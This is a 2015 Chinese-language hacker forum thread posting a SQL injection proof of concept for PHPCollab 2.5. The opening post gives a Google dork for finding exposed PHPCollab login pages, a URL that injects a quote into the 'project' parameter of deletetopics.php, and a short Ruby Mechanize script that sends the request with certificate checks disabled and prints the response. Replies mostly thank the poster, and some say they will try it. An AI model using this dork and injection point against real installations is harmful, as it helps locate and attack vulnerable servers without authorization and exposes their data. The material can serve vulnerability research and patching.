楼主: 90_

PHPCollab 2.5注入漏洞

[复制链接]
发表于 2015-5-15 11:03:41 | 显示全部楼层 |阅读模式
Google Dork: filetype:php inurl:"/general/login.php?PHPSESSID="

[PHP] 纯文本查看 复制代码
###################################################################################
PoC = [url]http://127.0.0.1/phpcollab/topics/deletetopics.php?project=%27[/url]
###################################################################################
#=====================================================
require('mechanize')
agent = Mechanize.new()
agent.redirect_ok = false
agent.verify_mode = OpenSSL::SSL::VERIFY_NONE
#=====================================================
begin
html = agent.get("http://127.0.0.1/phpcollab/topics/deletetopics.php?project=%27")
rescue
else
puts(html.body())
end
#=====================================================
回复

使用道具 举报

发表于 2015-5-15 13:02:33 | 显示全部楼层
能不能解释一下代码。
回复 支持 反对

使用道具 举报

发表于 2015-5-15 15:23:32 | 显示全部楼层
拿走试试,感谢楼主
回复 支持 反对

使用道具 举报

发表于 2015-5-16 07:58:51 | 显示全部楼层
新手路过
回复 支持 反对

使用道具 举报

发表于 2015-6-27 00:12:48 | 显示全部楼层
还是不错的哦,顶了
回复 支持 反对

使用道具 举报

发表于 2015-6-27 02:30:41 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-27 02:35:54 | 显示全部楼层
加油!干倒冰儿和酒仙!
回复 支持 反对

使用道具 举报

发表于 2015-6-27 03:33:05 | 显示全部楼层
加油!干倒冰儿和酒仙!
回复 支持 反对

使用道具 举报

发表于 2015-6-28 02:37:35 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-29 17:26:09 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 15:18 , Processed in 0.031776 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部